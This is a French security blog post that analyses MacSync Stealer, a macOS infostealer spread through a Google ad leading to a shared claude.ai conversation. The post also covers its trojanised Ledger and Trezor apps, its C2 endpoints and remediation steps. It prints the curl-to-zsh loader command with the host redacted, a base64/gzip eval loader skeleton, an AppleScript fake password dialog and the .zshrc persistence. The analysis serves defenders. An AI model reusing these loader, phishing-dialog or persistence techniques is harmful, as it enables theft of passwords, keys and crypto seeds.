HDWSec
infostealer InfostealerMacSyncmacOS · 9 min read

MacSync Stealer : anatomie d'un infostealer macOS 

Une annonce Google sur "claude ai" qui mène à... claude.ai, plus exactement à une conversation partagée signée "Apple Support" qui invite à coller un curl | zsh dans le Terminal. Derrière le payload : MacSync Stealer, un infostealer macOS en deux stages qui vide les navigateurs, les wallets crypto, les clés SSH, AWS, kube, et qui au passage remplace Ledger Live et Trezor Suite par des versions trojanisées dont le backdoor survit à la désinfection. Anatomie d'une campagne où le vecteur social est plus soigné que le malware lui-même.

JK
Jean-Jamil KHALIFÉ Expert cybersécurité
MacSync Stealer : anatomie d'un infostealer macOS 

Une annonce Google sur “claude ai” pointant vers claude.ai lui-même. Une commande à coller dans le terminal. Derrière : un infostealer macOS complet qui vole vos credentials, backdoore vos wallets Ledger et Trezor, et survit à sa propre désinfection.

Introduction

Tout commence par une recherche Google banale : “claude ai”. Dans les résultats sponsorisés, une annonce avec le domaine claude.ai, titre “AI Coding Assistant | Claude Desktop Mac”. Rien d’inhabituel en apparence.

Capture_decran_2026-05-08_a_13.34.40.png

94d9a936-369d-4299-9229-8cc65040f7ff.png

Le vecteur combine deux abus distincts. D’abord, Google Ads : une annonce achetée pour la requête “claude ai”, qui pointe non pas vers un domaine typosquatté mais directement vers claude.ai. Ensuite, l’abus du système de partage de conversations d’Anthropic : la destination de l’annonce est une URL /share/ générée par la plateforme elle-même. Résultat : la destination est le vrai domaine Anthropic, propre et de confiance.

Les instructions demandent d’ouvrir un Terminal et d’y coller une commande. La commande en question : un curl | zsh.

Ce que j’ai trouvé derrière est un infostealer macOS complet. Le malware s’appelle lui-même MacSync Stealer, avec le build tag interne claude 4. Il est en deux stages, entièrement écrit en shell et AppleScript. Il vole les mots de passe, les cookies, les wallets crypto, Telegram, les clés SSH, AWS, kube, et backdoore au passage les apps Ledger et Trezor installées sur la machine. L’exfiltration passe par une infrastructure C2 derrière Cloudflare, active depuis novembre 2025 et toujours opérationnelle au moment de l’écriture de cet article.

Stage 1 : le loader

Le vecteur d’entrée est simple et redoutablement efficace. La victime est invitée à copier-coller une commande dans son terminal :

curl -fsSL <http://[redacted]/curl/fa90319c89e7a0272c859f9f1403c6c2f12793281d3a295ce283d6018d5dd1c3> | zsh

Le serving est conditionnel. Si le User-Agent est curl/*, le serveur renvoie le payload. Si c’est un navigateur, il renvoie une erreur Cloudflare 520. Ça rend l’URL inoffensive à l’inspection manuelle dans un browser, et ça complique la soumission automatisée aux sandboxes.

Le payload récupéré est un script zsh d’environ 1450 bytes. Une variable au nom généré aléatoirement contient un blob encodé en base64 puis compressé en gzip, embarqué dans un heredoc.

#!/bin/zsh
d11624=$(base64 -D <<'PAYLOAD_m16537855820083' | gunzip
H4sIAAAAAAAAA91WW2/bNhR+...
PAYLOAD_m16537855820083
)
eval "$d11624"

Une fois décodé, on obtient la vraie logique. La structure est propre : une fonction daemon_function() qui s’exécute en background, avec redirection complète des I/O vers /dev/null dès le démarrage pour ne pas polluer le terminal de la victime. Le loader a deux rôles : récupérer le stage 2 via un endpoint /dynamic (conditionnel sur User-Agent macOS Chrome et un header api-key valide), puis gérer l’exfiltration en chunks de 10 MB.

Stage 2 : 41 KB d’AppleScript

Le stage 2 est un AppleScript de 41 KB. C’est inhabituel ; on voit rarement des infostealers entièrement écrits dans ce langage. L’avantage pour l’attaquant : AppleScript a un accès natif à de nombreuses APIs macOS, notamment les boîtes de dialogue système, et n’est pas filtré par les EDR grand public.

La première chose que fait le stealer est de récupérer le mot de passe de session de l’utilisateur via une fausse dialog System Preferences, en boucle jusqu’à ce que le bon mot de passe soit entré :

display dialog "You should update the settings to launch the application." \\
    default answer "" with icon imagePath \\
    buttons {"Continue"} default button "Continue" \\
    giving up after 150 \\
    with title "System Preferences" with hidden answer

Une fois le mot de passe obtenu, il déverrouille le keychain login et extrait la clé Chrome Safe Storage, la master key qui chiffre tous les credentials stockés dans les navigateurs Chromium.

Ce qui est volé :

  • Navigateurs : cookies, logins, données de formulaires pour Chrome, Brave, Edge, Opera, OperaGX, Vivaldi, Arc, Yandex, Firefox, Zen, LibreWolf, Waterfox
  • Extensions crypto : 60+ extensions ciblées par leur ID Chrome (MetaMask, Phantom, Keplr, Trust Wallet, Coinbase Wallet, OKX, Rabby…)
  • Wallets desktop : Exodus, Electrum, Atomic, Guarda, Sparrow, Wasabi, Bitcoin Core, Monero, Ledger Live, Trezor Suite, et une vingtaine d’autres
  • Infrastructure : ~/.ssh/, ~/.aws/, ~/.kube/
  • Données personnelles : Telegram (tdata/ complet), Apple Notes, Safari, fichiers Desktop/Documents/Downloads filtrés par extension (pdf, docx, wallet, key, seed, kdbx, pem, ovpn), historique shell

Tout est compressé dans /tmp/osalogging.zip, puis exfiltré. Avant de nettoyer ses traces, le stealer se grave dans le .zshrc de la victime ; à chaque ouverture de terminal, la commande curl | zsh se relancera silencieusement en background.

Supply chain : le backdoor Ledger et Trezor

C’est la partie la plus agressive du malware, et celle qui cause des dégâts bien après la compromission initiale.

Si Ledger Wallet.app, Ledger Live.app ou Trezor Suite.app est installé dans /Applications/, le stealer télécharge un app.asar trojanisé depuis le C2 et remplace le fichier légitime. La re-signature avec codesign -f -s - (signature ad-hoc) suffit à faire tourner l’app sans erreur sur macOS. Le Info.plist est également remplacé ; il contient le hash SHA256 du nouveau app.asar trojanisé pour satisfaire le mécanisme ElectronAsarIntegrity d’Electron.

J’ai pu récupérer les trois app.asar trojanisés directement depuis le C2. Le patch est chirurgical : dans le main.bundle.js légitime de Ledger, les attaquants ont localisé la fonction d’initialisation de la fenêtre principale et y ont injecté une seule ligne, avec leur commentaire de travail laissé en russe : // ←=== ВСТАВЬТЕ СЮДА ===→ (“Insérez ici”).

Cinq secondes après l’ouverture de l’app, toute la fenêtre est redirigée vers des pages de phishing embarquées imitant l’UI Ledger, culminant sur 24 champs de saisie de seed phrase. Quand l’utilisateur clique “Recover”, les mots sont POSTés silencieusement vers https://main.[redacted]/modules/wallets. Que le POST réussisse ou échoue, l’app redirige vers index.html et reprend un comportement normal. La victime ne voit rien.

Pourquoi c’est particulièrement dangereux : le backdoor survit à la désinfection du stealer initial. Même si la victime détecte et supprime le malware, les apps Ledger et Trezor restent compromises. La seed phrase ne sera volée que le jour où la victime l’entre dans l’app, ce qui peut arriver des semaines ou des mois après la compromission initiale, lors d’une restauration de wallet ou d’une réinitialisation du hardware.

Infrastructure C2

L’infrastructure repose sur trois domaines C2 distincts, tous derrière Cloudflare.

C2 principal : [redacted] : serving des payloads et exfiltration. Le domaine a été enregistré le 14 novembre 2025 chez Unstoppable Domains (registrar résistant aux takedowns) et est derrière Cloudflare depuis le premier jour.

EndpointUA requisRôle
/curl/<token>curl/*Stage 1 loader
/dynamic?txd=<token>macOS Chrome + api-keyStage 2 stealer
/gate?buildtxd=<token>&...macOS Chrome + api-keyExfiltration chunked (10 MB/chunk)
/ledger/<token>macOS Chrome + api-keyZIP Ledger trojanisé
/ledger/live/<token>macOS Chrome + api-keyZIP Ledger Live trojanisé
/trezor/<token>macOS Chrome + api-keyZIP Trezor trojanisé

C2 seed phrases : [redacted] (Ledger) et [redacted] (Trezor), tous deux derrière Cloudflare.

La mise à jour WHOIS du 2 mai 2026 indique que les opérateurs sont actifs.

Si vous avez exécuté cette commande

  1. Coupez internet immédiatement : si l’exfiltration est en cours, chaque seconde compte.
  2. Vérifiez ~/.zshrc : supprimez toute ligne contenant curl ... | zsh.
  3. Changez votre mot de passe système macOS : il a été capturé.
  4. Considérez toutes vos sessions comme compromises : navigateurs, Telegram, SSH. Révoquez tout.
  5. Rotation immédiate des clés AWS, SSH, kubeconfig.
  6. Si Ledger ou Trezor est installé : vérifiez l’intégrité de l’app. Un codesign -dvvv /Applications/Ledger\\ Live.app montrera une signature ad-hoc () si l’app est backdoorée. Réinstallez depuis la source officielle.
  7. Clés et seeds crypto : considérez-les compromises si elles étaient stockées sur la machine.

Prévention

Ne jamais exécuter une commande curl | zsh (ou curl | bash****) sans en comprendre le contenu. C’est le vecteur d’entrée de ce malware et d’un nombre croissant de campagnes similaires. Si un tutoriel vous demande de coller une commande dans votre terminal, copiez l’URL du curl dans votre navigateur et lisez ce qu’elle renvoie avant d’exécuter quoi que ce soit.

Vérifiez l’URL complète dans la barre d’adresse, pas seulement le domaine. L’annonce pointe vers claude.ai, domaine légitime, mais le chemin est /share/. Aucune page d’installation d’Anthropic, Ledger ou Trezor ne sera sur une URL /share/. Si vous voyez /share/ dans l’URL d’une page qui vous demande de taper une commande, fermez l’onglet.

Activez la MFA sur tous vos comptes et préférez une app TOTP ou une clé physique au SMS. MacSync vole les cookies de session, ce qui peut bypasser le MFA si la session est déjà authentifiée, mais ça limite la fenêtre d’exploitation pour les comptes sans session active.

Conclusion

MacSync Stealer n’est pas un malware sophistiqué au sens technique du terme : pas de 0-day, pas de kernel exploit, pas de rootkit. Il est entièrement en shell et AppleScript. Sa force est ailleurs : le vecteur social est remarquablement bien construit. L’attaquant a acheté une annonce Google sur “claude ai”, mais au lieu de pointer vers un domaine typosquatté, il a pointé vers une conversation partagée sur claude.ai lui-même. La destination de l’annonce est le vrai domaine Anthropic. Le bloqueur de pub laisse passer. L’URL en barre d’adresse est claude.ai. Le seul signal visible est /share/ dans le chemin ; il faut savoir quoi chercher.

Le staging des wallets backdoorés côté C2, avec trois endpoints distincts, un par app, et serving conditionnel, témoigne d’une préparation sérieuse. Le commentaire en russe // ←=== ВСТАВЬТЕ СЮДА ===→ embarqué dans le code injecté est révélateur : soit l’outil de génération des ASARs trojanisés est conçu pour injecter automatiquement du code à un emplacement marqué, soit le développeur annotait ses propres fichiers sources. Dans les deux cas, ça suggère une infrastructure de build organisée.

Un build tag claude 4, une campagne Google Ads toujours en ligne, une infrastructure C2 propre depuis novembre 2025 ; les opérateurs ne semblent pas inquiets d’une détection imminente.

Sensibiliser ses équipes

Ce type de campagne fonctionne parce qu’elle exploite un réflexe banal : copier-coller une commande d’installation depuis une page qui paraît légitime. Aucun antivirus, aucun EDR ne remplace un utilisateur formé à reconnaître ces vecteurs. HDW Sec intervient en entreprise sous forme de conférences et d’ateliers de sensibilisation, autour des techniques d’attaque actuelles : abus de plateformes légitimes, typosquatting, phishing assisté par IA, supply chain logicielle, et les réflexes à adopter face à une commande ou un lien suspect. Pour organiser une session dans votre structure, contactez-nous via hdwsec.fr.

JK
Written by Jean-Jamil KHALIFÉ Expert cybersécurité

Ready to test your security?

Our experts conduct penetration tests tailored to your scope and challenges, with a clear report and actionable recommendations.